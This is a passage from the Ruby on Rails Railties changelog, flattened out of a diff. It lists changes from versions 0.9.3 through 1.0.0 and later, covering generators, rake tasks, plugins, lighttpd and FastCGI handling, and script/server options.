*Nicholas Seckar* + +* Fix the rails_info controller by explicitly loading it, and marking it as not reloadable. *Nicholas Seckar* + +* Fixed rails:freeze:gems for Windows #3274 *paul@paulbutcher.com* + +* Added 'port open?' check to the spawner when running in repeat mode so we don't needlessly boot the dispatcher if the port is already in use anyway #4089 *guy.naor@famundo.com* + +* Add verification to generated scaffolds, don't allow get for unsafe actions *Michael Koziarski* + +* Don't replace application.js in public/javascripts if it already exists *Cody Fauser* + +* Change test:uncommitted to delay execution of `svn status` by using internal Rake API's. *Nicholas Seckar* + +* Use require_library_or_gem to load rake in commands/server.rb. Closes #4205. *rob.rasmussen@gmail.com* + +* Use the Rake API instead of shelling out to create the tmp directory in commands/server.rb. *Chad Fowler* + +* Added a backtrace to the evil WSOD (White Screen of Death). Closes #4073. TODO: Clearer exceptions *Rick Olson* + +* Added tracking of database and framework versions in script/about #4088 *charles.gerungan@gmail.com/Rick Olson* + +* Added public/javascripts/application.js as a sample since it'll automatically be included in javascript_include_tag :defaults *David Heinemeier Hansson* + +* Added socket cleanup for lighttpd, both before and after *David Heinemeier Hansson* + +* Added automatic creation of tmp/ when running script/server *David Heinemeier Hansson* + +* Added silence_stream that'll work on both STDERR or STDOUT or any other stream and deprecated silence_stderr in the process *David Heinemeier Hansson* + +* Added reload! method to script/console to reload all models and others that include Reloadable without quitting the console #4056 *esad@esse.at* + +* Added that rake rails:freeze:edge will now just export all the contents of the frameworks instead of just lib, so stuff like rails:update:scripts, rails:update:javascripts, and script/server on lighttpd still just works #4047 *David Heinemeier Hansson* + +* Added fix for upload problems with lighttpd from Safari/IE to config/lighttpd.conf #3999 *Thijs van der Vossen* + +* Added test:uncommitted to test changes since last checkin to Subversion #4035 *technomancy@gmail.com* + +* Help script/about print the correct svn revision when in a non-English locale. #4026 *babie7a0@ybb.ne.jp* + +* Add 'app' accessor to script/console as an instance of Integration::Session *Jamis Buck* + +* Generator::Base#usage takes an optional message argument which defaults to Generator::Base#usage_message. *Jeremy Kemper* + +* Remove the extraneous AR::Base.threaded_connections setting from the webrick server. *Jeremy Kemper* + +* Add integration test support to app generation and testing *Jamis Buck* + +* Added namespaces to all tasks, so for example load_fixtures is now db:fixtures:load. All the old task names are still valid, they just point to the new namespaced names. "rake -T" will only show the namespaced ones, though *David Heinemeier Hansson* + +* CHANGED DEFAULT: ActiveRecord::Base.schema_format is now :ruby by default instead of :sql. This means that we'll assume you want to live in the world of db/schema.rb where the grass is green and the girls are pretty. If your schema contains un-dumpable elements, such as constraints or database-specific column types, you just got an invitation to either 1) patch the dumper to include foreign key support, 2) stop being db specific, or 3) just change the default in config/environment.rb to config.active_record.schema_format = :sql -- we even include an example for that on new Rails skeletons now. Brought to you by the federation of opinionated framework builders! *David Heinemeier Hansson* + +* Added -r/--repeat option to script/process/spawner that offers the same loop protection as the spinner did. This deprecates the script/process/spinner, so it's no longer included in the default Rails skeleton, but still available for backwards compatibility #3461 *ror@andreas-s.net* + +* Added collision option to template generation in generators #3329 [anna@wota.jp]. Examples: + + m.template "stuff.config" , "config/stuff.config" , :collision => :skip + m.template "auto-stamping", "config/generator.log", :collision => :force + +* Added more information to script/plugin's doings to ease debugging #3755 *Rick Olson* + +* Changed the default configuration for lighttpd to use tmp/sockets instead of log/ for the FastCGI sockets *David Heinemeier Hansson* + +* Added a default configuration of the FileStore for fragment caching if tmp/cache is available, which makes action/fragment caching ready to use out of the box with no additional configuration *David Heinemeier Hansson* + +* Changed the default session configuration to place sessions in tmp/sessions, if that directory is available, instead of /tmp (this essentially means a goodbye to 9/10 White Screen of Death errors and should have web hosting firms around the world cheering) *David Heinemeier Hansson* + +* Added tmp/sessions, tmp/cache, and tmp/sockets as default directories in the Rails skeleton *David Heinemeier Hansson* + +* Added that script/generate model will now automatically create a migration file for the model created. This can be turned off by calling the generator with --skip-migration *David Heinemeier Hansson* + +* Added -d/--database option to the rails command, so you can do "rails --database=sqlite2 myapp" to start a new application preconfigured to use SQLite2 as the database. Removed the configuration examples from SQLite and PostgreSQL from the default MySQL configuration *David Heinemeier Hansson* + +* Allow script/server -c /path/to/lighttpd.conf *Jeremy Kemper* + +* Remove hardcoded path to reaper script in script/server *Jeremy Kemper* + +* Update script.aculo.us to V1.5.3 *Thomas Fuchs* + +* Added SIGTRAP signal handler to RailsFCGIHandler that'll force the process into a breakpoint after the next request. This breakpoint can then be caught with script/breakpointer and give you access to the Ruby image inside that process. Useful for debugging memory leaks among other things *David Heinemeier Hansson* + +* Changed default lighttpd.conf to use CWD from lighttpd 1.4.10 that allows the same configuration to be used for both detach and not. Also ensured that auto-repeaping of FCGIs only happens when lighttpd is not detached. *David Heinemeier Hansson* + +* Added Configuration#after_initialize for registering a block which gets called after the framework is fully initialized. Useful for things like per-environment configuration of plugins. *Michael Koziarski* + +* Added check for RAILS_FRAMEWORK_ROOT constant that allows the Rails framework to be found in a different place than vendor/rails. Should be set in boot.rb. *David Heinemeier Hansson* + +* Fixed that static requests could unlock the mutex guarding dynamic requests in the WEBrick servlet #3433 *tom@craz8.com* + +* Fixed documentation tasks to work with Rake 0.7.0 #3563 *kazuhiko@fdiary.net* + +* Update to Prototype 1.5.0_pre0 *Sam Stephenson* + +* Sort the list of plugins so we load in a consistent order *Rick Olson* + +* Show usage when script/plugin is called without arguments *tom@craz8.com* + +* Corrected problems with plugin loader where plugins set 'name' incorrectly #3297 *anna@wota.jp* + +* Make migration generator only report on exact duplicate names, not partial dupliate names. #3442 *jeremy@planetargon.com Marcel Molina Jr.* + +* Fix typo in mailer generator USAGE. #3458 *chriztian.steinmeier@gmail.com* + +* Ignore version mismatch between pg_dump and the database server. #3457 *Simon Stapleton* + +* Reap FCGI processes after lighttpd exits. *Sam Stephenson* + +* Honor ActiveRecord::Base.pluralize_table_names when creating and destroying session store table. #3204. *rails@bencurtis.com, Marcel Molina Jr.* + +## 1.0.0 (December 13th, 2005) ## + +* Update instructions on how to find and install generators. #3172. *Chad Fowler* + +* Generator looks in vendor/generators also. *Chad Fowler* + +* Generator copies files in binary mode. #3156 *minimudboy@gmail.com* + +* Add builtin/ to the gemspec. Closes #3047. *Nicholas Seckar, Sam Stephenson* + +* Add install.rb file to plugin generation which is loaded, if it exists, when you install a plugin. *Marcel Molina Jr.* + +* Run initialize_logger in script/lighttpd to ensure the log file exists before tailing it. *Sam Stephenson* + +* Make load_fixtures include csv fixtures. #3053. *me@mdaines.com* + +* Fix freeze_gems so that the latest rails version is dumped by default. *Nicholas Seckar* + +* script/plugin: handle root paths and plugin names which contain spaces. #2995 *justin@aspect.net* + +* Model generator: correct relative path to test_helper in unit test. *Jeremy Kemper* + +* Make the db_schema_dump task honor the SCHEMA environment variable if present the way db_schema_import does. #2931. *Blair Zajac* + +* Have the lighttpd server script report the actual ip to which the server is bound. #2903. *Adam* + +* Add plugin library directories to the load path after the lib directory so that libraries in the lib directory get precedence. #2910. *James Adam* + +* Make help for the console command more explicit about how to specify the desired environment in which to run the console. #2911. *anonymous* + +* PostgreSQL: the purge_test_database Rake task shouldn't explicitly specify the template0 template when creating a fresh test database. #2964 *Dreamer3* + +* Introducing the session_migration generator. Creates an add_session_table migration. Allows generator to specify migrations directory. #2958, #2960 *Rick Olson* + +* script/console uses RAILS_ENV environment variable if present. #2932 [Blair Zajac <blair@orcaware.com> + +* Windows: eliminate the socket option in database.yml. #2924 *Wayne Vucenic <waynev@gmail.com>* + +* Eliminate nil from newly generated logfiles. #2927 *Blair Zajac <blair@orcaware.com>* + +* Rename Version constant to VERSION. #2802 *Marcel Molina Jr.* + +* Eliminate Subversion dependencies in scripts/plugin. Correct install options. Introduce --force option to reinstall a plugin. Remove useless --long option for list. Use --quiet to quiet the download output and --revision to update to a specific svn revision. #2842 *Chad Fowler, Rick Olson* + +* SQLite: the clone_structure_to_test and purge_test_database Rake tasks should always use the test environment. #2846 *Rick Olson* + +* Make sure that legacy db tasks also reference :database for SQLite #2830 *kazuhiko@fdiary.net* + +* Pass __FILE__ when evaluating plugins' init.rb. #2817 *James Adam* + +* Better svn status matching for generators. #2814 *François Beausoleil <francois.beausoleil@gmail.com>, Blair Zajac <blair@orcaware.com>* + +* Don't reload routes until plugins have been loaded so they have a chance to extend the routing capabilities *David Heinemeier Hansson* + +* Don't detach or fork for script/server tailing *Nicholas Seckar* + +* Changed all script/* to use #!/usr/bin/env ruby instead of hard-coded Ruby path. public/dispatcher.* still uses the hard-coded path for compatibility with web servers that don't have Ruby in path *David Heinemeier Hansson* + +* Force RAILS_ENV to be "test" when running tests, so that ENV["RAILS_ENV"] = "production" in config/environment.rb doesn't wreck havok [David Heinemeier Hansson] #2660 + +* Correct versioning in :freeze_gems Rake task. #2778 *Jakob Skjerning, Jeremy Kemper* + +* Added an omnipresent RailsInfoController with a properties action that delivers an HTML rendering of Rails::Info (but only when local_request? is true). Added a new default index.html which fetches this with Ajax. *Sam Stephenson* + + +## 0.14.3 (RC4) (November 7th, 2005) ## + +## Add 'add_new_scripts' rake task for adding new rails scripts to script/ Jamis Buck ## + +* Remove bogus hyphen from script/process/reaper calls to 'ps'. #2767 *anonymous* + +* Copy lighttpd.conf when it is first needed, instead of on app creation *Jamis Buck* + +* Use require_library_or_gem 'fcgi' in script/server *Sam Stephenson* + +* Added default lighttpd config in config/lighttpd.conf and added a default runner for lighttpd in script/server (works like script/server, but using lighttpd and FastCGI). It will use lighttpd if available, otherwise WEBrick. You can force either or using 'script/server lighttpd' or 'script/server webrick' *David Heinemeier Hansson* + +* New configuration option config.plugin_paths which may be a single path like the default 'vendor/plugins' or an array of paths: ['vendor/plugins', 'lib/plugins']. *Jeremy Kemper* + +* Plugins are discovered in nested paths, so you can organize your plugins directory as you like. *Jeremy Kemper* + +* Refactor load_plugin from load_plugins. #2757 *alex.r.moon@gmail.com* + +* Make use of silence_stderr in script/lighttpd, script/plugin, and Rails::Info *Sam Stephenson* + +* Enable HTTP installation of plugins when svn isn't avaialable. Closes #2661. *Chad Fowler* + +* Added script/about to display formatted Rails::Info output *Sam Stephenson* + +* Added Rails::Info to catalog assorted information about a Rails application's environment *Sam Stephenson* + +* Tail the logfile when running script/server lighttpd in the foreground *Sam Stephenson* + +* Try to guess the port number from config/lighttpd.conf in script/server lighttpd *Sam Stephenson* + +* Don't reap spawn-fcgi. #2727 *matthew@walker.wattle.id.au* + +* Reaper knows how to find processes even if the dispatch path is very long. #2711 *matthew@walker.wattle.id.au* + +* Make fcgi handler respond to TERM signals with an explicit exit *Jamis Buck* + +* Added demonstration of fixture use to the test case generated by the model generator *David Heinemeier Hansson* + +* If specified, pass PostgreSQL client character encoding to createdb. #2703 *Kazuhiko <kazuhiko@fdiary.net>* + +* Catch CGI multipart parse errors. Wrap dispatcher internals in a failsafe response handler. *Jeremy Kemper* + +* The freeze_gems Rake task accepts the VERSION environment variable to decide which version of Rails to pull into vendor/rails. *Chad Fowler, Jeremy Kemper* + +* Removed script.aculo.us.js, builder.js and slider.js (preperation for move of scriptaculous extensions to plugins, core scriptaculous will remain in Railties) *Thomas Fuchs* + +* The freeze_edge Rake task does smarter svn detection and can export a specific revision by passing the REVISION environment variable. For example: rake freeze_edge REVISION=1234. #2663 *Rick Olson* + +* Comment database.yml and include PostgreSQL and SQLite examples. *Jeremy Kemper* + +* Improve script/plugin on Windows. #2646 *Chad Fowler* + +* The *_plugindoc Rake tasks look deeper into the plugins' lib directories. #2652 *bellis@deepthought.org* + +* The PostgreSQL :db_structure_dump Rake task limits its dump to the schema search path in database.yml. *Anatol Pomozov <anatol.pomozov@gmail.com>* + +* Add task to generate rdoc for all installed plugins. *Marcel Molina Jr.* + +* Update script.aculo.us to V1.5_rc4 *Thomas Fuchs* + +* Add default Mac + DarwinPorts MySQL socket locations to the app generator. *Jeremy Kemper* + +* Migrations may be destroyed: script/destroy migration foo. #2635 *Charles M. Gerungan <charles.gerungan@gmail.com>, Jamis Buck, Jeremy Kemper* + +* Added that plugins can carry generators and that generator stub files can be created along with new plugins using script/generate plugin <name> --with-generator *David Heinemeier Hansson* + +* Removed app/apis as a default empty dir since its automatically created when using script/generate web_service *David Heinemeier Hansson* + +* Added script/plugin to manage plugins (install, remove, list, etc) *Ryan Tomayko* + +* Added test_plugins task: Run the plugin tests in vendor/plugins/**/test (or specify with PLUGIN=name) *David Heinemeier Hansson* + +* Added plugin generator to create a stub structure for a new plugin in vendor/plugins (see "script/generate plugin" for help) *David Heinemeier Hansson* + +* Fixed scaffold generator when started with only 1 parameter #2609 *self@mattmower.com* + +* rake should run functional tests even if the unit tests have failures *Jim Weirich* + +* Back off cleanpath to be symlink friendly. Closes #2533 *Nicholas Seckar* + +* Load rake task files in alphabetical order so you can build dependencies and count on them #2554 *Blair Zajac* + + +## 0.14.2 (RC3) (October 26th, 2005) ## + +* Constants set in the development/test/production environment file are set in Object + +* Scaffold generator pays attention to the controller name. #2562 *self@mattmower.com* + +* Include tasks from vendor/plugins/*/tasks in the Rakefile #2545 *Rick Olson* + + +## 0.14.1 (RC2) (October 19th, 2005) ## + +* Don't clean RAILS_ROOT on windows + +* Remove trailing '/' from RAILS_ROOT *Nicholas Seckar* + +* Upgraded to Active Record 1.12.1 and Action Pack 1.10.1 + + +## 0.14.0 (RC1) (October 16th, 2005) ## + +* Moved generator folder from RAILS_ROOT/generators to RAILS_ROOT/lib/generators *Tobias Lütke* + +* Fix rake dev and related commands *Nicholas Seckar* + +* The rails command tries to deduce your MySQL socket by running `mysql_config + --socket`. If it fails, default to /path/to/your/mysql.sock + +* Made the rails command use the application name for database names in the tailored database.yml file. Example: "rails ~/projects/blog" will use "blog_development" instead of "rails_development". *Florian Weber* + +* Added Rails framework freezing tasks: freeze_gems (freeze to current gems), freeze_edge (freeze to Rails SVN trunk), unfreeze_rails (float with newest gems on system) + +* Added update_javascripts task which will fetch all the latest js files from your current rails install. Use after updating rails. *Tobias Lütke* + +* Added cleaning of RAILS_ROOT to useless elements such as '../non-dot-dot/'. Provides cleaner backtraces and error messages. *Nicholas Seckar* + +* Made the instantiated/transactional fixtures settings be controlled through Rails::Initializer. Transactional and non-instantiated fixtures are default from now on. *Florian Weber* + +* Support using different database adapters for development and test with ActiveRecord::Base.schema_format = :ruby *Sam Stephenson* + +* Make webrick work with session(:off) + +* Add --version, -v option to the Rails command. Closes #1840. *stancell* + +* Update Prototype to V1.4.0_pre11, script.aculo.us to V1.5_rc3 [2504] and fix the rails generator to include the new .js files *Thomas Fuchs* + +* Make the generator skip a file if it already exists and is identical to the new file. + +* Add experimental plugin support #2335 + +* Made Rakefile aware of new .js files in script.aculo.us *Thomas Fuchs* + +* Make table_name and controller_name in generators honor AR::Base.pluralize_table_names. #1216 #2213 *kazuhiko@fdiary.net* + +* Clearly label functional and unit tests in rake stats output. #2297 *lasse.koskela@gmail.com* + +* Make the migration generator only check files ending in *.rb when calculating the next file name #2317 *Chad Fowler* + +* Added prevention of duplicate migrations from the generator #2240 *François Beausoleil* + +* Add db_schema_dump and db_schema_import rake tasks to work with the new ActiveRecord::SchemaDumper (for dumping a schema to and reading a schema from a ruby file). + +* Reformed all the config/environments/* files to conform to the new Rails::Configuration approach. Fully backwards compatible. + +* Added create_sessions_table, drop_sessions_table, and purge_sessions_table as rake tasks for databases that supports migrations (MySQL, PostgreSQL, SQLite) to get a table for use with CGI::Session::ActiveRecordStore + +* Added dump of schema version to the db_structure_dump task for databases that support migrations #1835 *Rick Olson* + +* Fixed script/profiler for Ruby 1.8.2 #1863 *Rick Olson* + +* Fixed clone_structure_to_test task for SQLite #1864 *jon@burningbush.us* + +* Added -m/--mime-types option to the WEBrick server, so you can specify a Apache-style mime.types file to load #2059 *ask@develooper.com* + +* Added -c/--svn option to the generator that'll add new files and remove destroyed files using svn add/revert/remove as appropriate #2064 *Kevin Clark* + +* Added -c/--charset option to WEBrick server, so you can specify a default charset (which without changes is UTF-8) #2084 *wejn@box.cz* + +* Make the default stats task extendable by modifying the STATS_DIRECTORIES constant + +* Allow the selected environment to define RAILS_DEFAULT_LOGGER, and have Rails::Initializer use it if it exists. + +* Moved all the shared tasks from Rakefile into Rails, so that the Rakefile is empty and doesn't require updating. + +* Added Rails::Initializer and Rails::Configuration to abstract all of the common setup out of config/environment.rb (uses config/boot.rb to bootstrap the initializer and paths) + +* Fixed the scaffold generator to fail right away if the database isn't accessible instead of in mid-air #1169 *Chad Fowler* + +* Corrected project-local generator location in scripts.rb #2010 *Michael Schuerig* + +* Don't require the environment just to clear the logs #2093 *Scott Barron* + +* Make the default rakefile read *.rake files from config/tasks (for easy extension of the rakefile by e.g. generators) + +* Only load breakpoint in development mode and when BREAKPOINT_SERVER_PORT is defined. + +* Allow the --toggle-spin switch on process/reaper to be negated + +* Replace render_partial with render :partial in scaffold generator *Nicholas Seckar* + +* Added -w flag to ps in process/reaper #1934 *Scott Barron* + +* Allow ERb in the database.yml file (just like with fixtures), so you can pull out the database configuration in environment variables #1822 *Duane Johnson* + +* Added convenience controls for FCGI processes (especially when managed remotely): spinner, spawner, and reaper. They reside in script/process. More details can be had by calling them with -h/--help. + +* Added load_fixtures task to the Rakefile, which will load all the fixtures into the database for the current environment #1791 *Marcel Molina Jr.* + +* Added an empty robots.txt to public/, so that web servers asking for it won't trigger a dynamic call, like favicon.ico #1738 *Michael Schubert* + +* Dropped the 'immediate close-down' of FCGI processes since it didn't work consistently and produced bad responses when it didn't. So now a TERM ensures exit after the next request (just as if the process is handling a request when it receives the signal). This means that you'll have to 'nudge' all FCGI processes with a request in order to ensure that they have all reloaded. This can be done by something like ./script/process/repear --nudge 'http://www.myapp.com' --instances 10, which will load the myapp site 10 times (and thus hit all of the 10 FCGI processes once, enough to shut down). + + +## 0.13.1 (11 July, 2005) ## + +* Look for app-specific generators in RAILS_ROOT/generators rather than the clunky old RAILS_ROOT/script/generators. Nobody really uses this feature except for the unit tests, so it's a negligible-impact change. If you want to work with third-party generators, drop them in ~/.rails/generators or simply install gems. + +* Fixed that each request with the WEBrick adapter would open a new database connection #1685 *Sam Stephenson* + +* Added support for SQL Server in the database rake tasks #1652 [Ken Barker] Note: osql and scptxfr may need to be installed on your development environment. This involves getting the .exes and a .rll (scptxfr) from a production SQL Server (not developer level SQL Server). Add their location to your Environment PATH and you are all set. + +* Added a VERSION parameter to the migrate task that allows you to do "rake migrate VERSION=34" to migrate to the 34th version traveling up or down depending on the current version + +* Extend Ruby version check to include RUBY_RELEASE_DATE >= '2005-12-25', the final Ruby 1.8.2 release #1674 *court3nay* + +* Improved documentation for environment config files #1625 *court3nay* + + +## 0.13.0 (6 July, 2005) ## + +* Changed the default logging level in config/environment.rb to INFO for production (so SQL statements won't be logged) + +* Added migration generator: ./script/generate migration add_system_settings + +* Added "migrate" as rake task to execute all the pending migrations from db/migrate + +* Fixed that model generator would make fixtures plural, even if ActiveRecord::Base.pluralize_table_names was false #1185 *Marcel Molina Jr.* + +* Added a DOCTYPE of HTML transitional to the HTML files generated by Rails #1124 *Michael Koziarski* + +* SIGTERM also gracefully exits dispatch.fcgi. Ignore SIGUSR1 on Windows. + +* Add the option to manually manage garbage collection in the FastCGI dispatcher. Set the number of requests between GC runs in your public/dispatch.fcgi *Stefan Kaes* + +* Allow dynamic application reloading for dispatch.fcgi processes by sending a SIGHUP. If the process is currently handling a request, the request will be allowed to complete first. This allows production fcgi's to be reloaded without having to restart them. + +* RailsFCGIHandler (dispatch.fcgi) no longer tries to explicitly flush $stdout (CgiProcess#out always calls flush) + +* Fixed rakefile actions against PostgreSQL when the password is all numeric #1462 *Michael Schubert* + +* ActionMailer::Base subclasses are reloaded with the other rails components #1262 + +* Made the WEBrick adapter not use a mutex around action performance if ActionController::Base.allow_concurrency is true (default is false) + +* Fixed that mailer generator generated fixtures/plural while units expected fixtures/singular #1457 *Scott Barron* + +* Added a 'whiny nil' that's aim to ensure that when users pass nil to methods where that isn't appropriate, instead of NoMethodError? and the name of some method used by the framework users will see a message explaining what type of object was expected. Only active in test and development environments by default #1209 *Michael Koziarski* + +* Fixed the test_helper.rb to be safe for requiring controllers from multiple spots, like app/controllers/article_controller.rb and app/controllers/admin/article_controller.rb, without reloading the environment twice #1390 *Nicholas Seckar* + +* Fixed Webrick to escape + characters in URL's the same way that lighttpd and apache do #1397 *Nicholas Seckar* + +* Added -e/--environment option to script/runner #1408 *François Beausoleil* + +* Modernize the scaffold generator to use the simplified render and test methods and to change style from @params["id"] to params[:id]. #1367 + +* Added graceful exit from pressing CTRL-C during the run of the rails command #1150 *Caleb Tennis* + +* Allow graceful exits for dispatch.fcgi processes by sending a SIGUSR1. If the process is currently handling a request, the request will be allowed to complete and then will terminate itself. If a request is not being handled, the process is terminated immediately (via #exit). This basically works like restart graceful on Apache. *Jamis Buck* + +* Made dispatch.fcgi more robust by catching fluke errors and retrying unless its a permanent condition. *Jamis Buck* + +* Added console --profile for profiling an IRB session #1154 *Jeremy Kemper* + +* Changed console_sandbox into console --sandbox #1154 *Jeremy Kemper* + + +## 0.12.1 (20th April, 2005) ## + +* Upgraded to Active Record 1.10.1, Action Pack 1.8.1, Action Mailer 0.9.1, Action Web Service 0.7.1 + + +## 0.12.0 (19th April, 2005) ## + +* Fixed that purge_test_database would use database settings from the development environment when recreating the test database #1122 *rails@cogentdude.com* + +* Added script/benchmarker to easily benchmark one or more statement a number of times from within the environment. Examples: + + # runs the one statement 10 times + script/benchmarker 10 'Person.expensive_method(10)' + + # pits the two statements against each other with 50 runs each + script/benchmarker 50 'Person.expensive_method(10)' 'Person.cheap_method(10)' + +* Added script/profiler to easily profile a single statement from within the environment. Examples: + + script/profiler 'Person.expensive_method(10)' + script/profiler 'Person.expensive_method(10)' 10 # runs the statement 10 times + +* Added Rake target clear_logs that'll truncate all the *.log files in log/ to zero #1079 *Lucas Carlson* + +* Added lazy typing for generate, such that ./script/generate cn == ./script/generate controller and the likes #1051 *k@v2studio.com* + +* Fixed that ownership is brought over in pg_dump during tests for PostgreSQL #1060 *pburleson* + +* Upgraded to Active Record 1.10.0, Action Pack 1.8.0, Action Mailer 0.9.0, Action Web Service 0.7.0, Active Support 1.0.4 + + +## 0.11.1 (27th March, 2005) ## + +* Fixed the dispatch.fcgi use of a logger + +* Upgraded to Active Record 1.9.1, Action Pack 1.7.0, Action Mailer 0.8.1, Action Web Service 0.6.2, Active Support 1.0.3 + + +## 0.11.0 (22th March, 2005) ## + +* Removed SCRIPT_NAME from the WEBrick environment to prevent conflicts with PATH_INFO #896 *Nicholas Seckar* + +* Removed ?$1 from the dispatch.f/cgi redirect line to get rid of 'complete/path/from/request.html' => nil being in the @params now that the ENV["REQUEST_URI"] is used to determine the path #895 *dblack/Nicholas Seckar* + +* Added additional error handling to the FastCGI dispatcher to catch even errors taking down the entire process + +* Improved the generated scaffold code a lot to take advantage of recent Rails developments #882 *Tobias Lütke* + +* Combined the script/environment.rb used for gems and regular files version. If vendor/rails/* has all the frameworks, then files version is used, otherwise gems #878 *Nicholas Seckar* + +* Changed .htaccess to allow dispatch.* to be called from a sub-directory as part of the push with Action Pack to make Rails work on non-vhost setups #826 *Nicholas Seckar/Tobias Lütke* + +* Added script/runner which can be used to run code inside the environment by eval'ing the first parameter. Examples: + + ./script/runner 'ReminderService.deliver' + ./script/runner 'Mailer.receive(STDIN.read)' + + This makes it easier to do CRON and postfix scripts without actually making a script just to trigger 1 line of code. + +* Fixed webrick_server cookie handling to allow multiple cookes to be set at once #800, #813 *dave@cherryville.org* + +* Fixed the Rakefile's interaction with postgresql to: + + 1. Use PGPASSWORD and PGHOST in the environment to fix prompting for + passwords when connecting to a remote db and local socket connections. + 2. Add a '-x' flag to pg_dump which stops it dumping privileges #807 [rasputnik] + 3. Quote the user name and use template0 when dumping so the functions doesn't get dumped too #855 [pburleson] + 4. Use the port if available #875 [madrobby] + +* Upgraded to Active Record 1.9.0, Action Pack 1.6.0, Action Mailer 0.8.0, Action Web Service 0.6.1, Active Support 1.0.2 + + +## 0.10.1 (7th March, 2005) ## + +* Fixed rake stats to ignore editor backup files like model.rb~ #791 *Sebastian Kanthak* + +* Added exception shallowing if the DRb server can't be started (not worth making a fuss about to distract new users) #779 *Tobias Lütke* + +* Added an empty favicon.ico file to the public directory of new applications (so the logs are not spammed by its absence) + +* Fixed that scaffold generator new template should use local variable instead of instance variable #778 *Dan Peterson* + +* Allow unit tests to run on a remote server for PostgreSQL #781 *adamm@galacticasoftware.com* + +* Added web_service generator (run ./script/generate web_service for help) #776 *Leon Bredt* + +* Added app/apis and components to code statistics report #729 *Scott Barron* + +* Fixed WEBrick server to use ABSOLUTE_RAILS_ROOT instead of working_directory #687 *Nicholas Seckar* + +* Fixed rails_generator to be usable without RubyGems #686 *Cristi BALAN* + +* Fixed -h/--help for generate and destroy generators #331 + +* Added begin/rescue around the FCGI dispatcher so no uncaught exceptions can bubble up to kill the process (logs to log/fastcgi.crash.log) + +* Fixed that association#count would produce invalid sql when called sequentialy #659 *kanis@comcard.de* + +* Fixed test/mocks/testing to the correct test/mocks/test #740 + +* Added early failure if the Ruby version isn't 1.8.2 or above #735 + +* Removed the obsolete -i/--index option from the WEBrick servlet #743 + +* Upgraded to Active Record 1.8.0, Action Pack 1.5.1, Action Mailer 0.7.1, Action Web Service 0.6.0, Active Support 1.0.1 + + +## 0.10.0 (24th February, 2005) ## + +* Changed default IP binding for WEBrick from 127.0.0.1 to 0.0.0.0 so that the server is accessible both locally and remotely #696 *Marcel Molina Jr.* + +* Fixed that script/server -d was broken so daemon mode couldn't be used #687 *Nicholas Seckar* + +* Upgraded to breakpoint 92 which fixes: + + * overload IRB.parse_opts(), fixes #443 + => breakpoints in tests work even when running them via rake + * untaint handlers, might fix an issue discussed on the Rails ML + * added verbose mode to breakpoint_client + * less noise caused by breakpoint_client by default + * ignored TerminateLineInput exception in signal handler + => quiet exit on Ctrl-C + +* Added support for independent components residing in /components. Example: + + Controller: components/list/items_controller.rb + (holds a List::ItemsController class with uses_component_template_root called) + + Model : components/list/item.rb + (namespace is still shared, so an Item model in app/models will take precedence) + + Views : components/list/items/show.rhtml + + +* Added --sandbox option to script/console that'll roll back all changes made to the database when you quit #672 *Jeremy Kemper* + +* Added 'recent' as a rake target that'll run tests for files that changed in the last 10 minutes #612 *Jeremy Kemper* + +* Changed script/console to default to development environment and drop --no-inspect #650 *Jeremy Kemper* + +* Added that the 'fixture :posts' syntax can be used for has_and_belongs_to_many fixtures where a model doesn't exist #572 *Jeremy Kemper* + +* Added that running test_units and test_functional now performs the clone_structure_to_test as well #566 *rasputnik* + +* Added new generator framework that informs about its doings on generation and enables updating and destruction of generated artifacts. See the new script/destroy and script/update for more details #487 *Jeremy Kemper* + +* Added Action Web Service as a new add-on framework for Action Pack *Leon Bredt* + +* Added Active Support as an independent utility and standard library extension bundle + +* Upgraded to Active Record 1.7.0, Action Pack 1.5.0, Action Mailer 0.7.0 + + +## 0.9.5 (January 25th, 2005) ## + +* Fixed dependency reloading by switching to a remove_const approach where all Active Records, Active Record Observers, and Action Controllers are reloading by undefining their classes. This enables you to remove methods in all three types and see the change reflected immediately and it fixes #539. This also means that only those three types of classes will benefit from the const_missing and reloading approach. If you want other classes (like some in lib/) to reload, you must use require_dependency to do it. + +* Added Florian Gross' latest version of Breakpointer and friends that fixes a variaty of bugs #441 *Florian Gross* + +* Fixed skeleton Rakefile to work with sqlite3 out of the box #521 *rasputnik* + +* Fixed that script/breakpointer didn't get the Ruby path rewritten as the other scripts #523 *brandt@kurowski.net* + +* Fixed handling of syntax errors in models that had already been succesfully required once in the current interpreter + +* Fixed that models that weren't referenced in associations weren't being reloaded in the development mode by reinstating the reload + +* Fixed that generate scaffold would produce bad functional tests + +* Fixed that FCGI can also display SyntaxErrors + +* Upgraded to Active Record 1.6.0, Action Pack 1.4.0 + + +## 0.9.4.1 (January 18th, 2005) ## + +* Added 5-second timeout to WordNet alternatives on creating reserved-word models #501 *Marcel Molina Jr.* + +* Fixed binding of caller #496 *Alexey* + +* Upgraded to Active Record 1.5.1, Action Pack 1.3.1, Action Mailer 0.6.1 + + +## 0.9.4 (January 17th, 2005) ## + +* Added that ApplicationController will catch a ControllerNotFound exception if someone attempts to access a url pointing to an unexisting controller *Tobias Lütke* + +* Flipped code-to-test ratio around to be more readable #468 *Scott Baron* + +* Fixed log file permissions to be 666 instead of 777 (so they're not executable) #471 *Lucas Carlson* + +* Fixed that auto reloading would some times not work or would reload the models twice #475 *Tobias Lütke* + +* Added rewrite rules to deal with caching to public/.htaccess + +* Added the option to specify a controller name to "generate scaffold" and made the default controller name the plural form of the model. + +* Added that rake clone_structure_to_test, db_structure_dump, and purge_test_database tasks now pick up the source database to use from + RAILS_ENV instead of just forcing development #424 *Tobias Lütke* + +* Fixed script/console to work with Windows (that requires the use of irb.bat) #418 *Chris McGrath* + +* Fixed WEBrick servlet slowdown over time by restricting the load path reloading to mod_ruby + +* Removed Fancy Indexing as a default option on the WEBrick servlet as it made it harder to use various caching schemes + +* Upgraded to Active Record 1.5, Action Pack 1.3, Action Mailer 0.6 + + +## 0.9.3 (January 4th, 2005) ## + +* Added support for SQLite in the auto-dumping/importing of schemas for development -> test #416 + +* Added automated rewriting of the shebang lines on installs through the gem rails command #379 *Manfred Stienstra* + +* Added ActionMailer::Base.deliver_method = :test to the test environment so that mail objects are available in ActionMailer::Base.deliveries + for functional testing. + +* Added protection for creating a model through the generators with a name of an existing class, like Thread or Date. + It'll even offer you a synonym using wordnet.princeton.edu as a look-up. No, I'm not kidding :) *Florian Gross* + +* Fixed dependency management to happen in a unified fashion for Active Record and Action Pack using the new Dependencies module. This means that + the environment options needs to change from: + + Before in development.rb: + ActionController::Base.reload_dependencies = true  + ActiveRecord::Base.reload_associations   = true + + Now in development.rb: + Dependencies.mechanism = :load + + Before in production.rb and test.rb: + 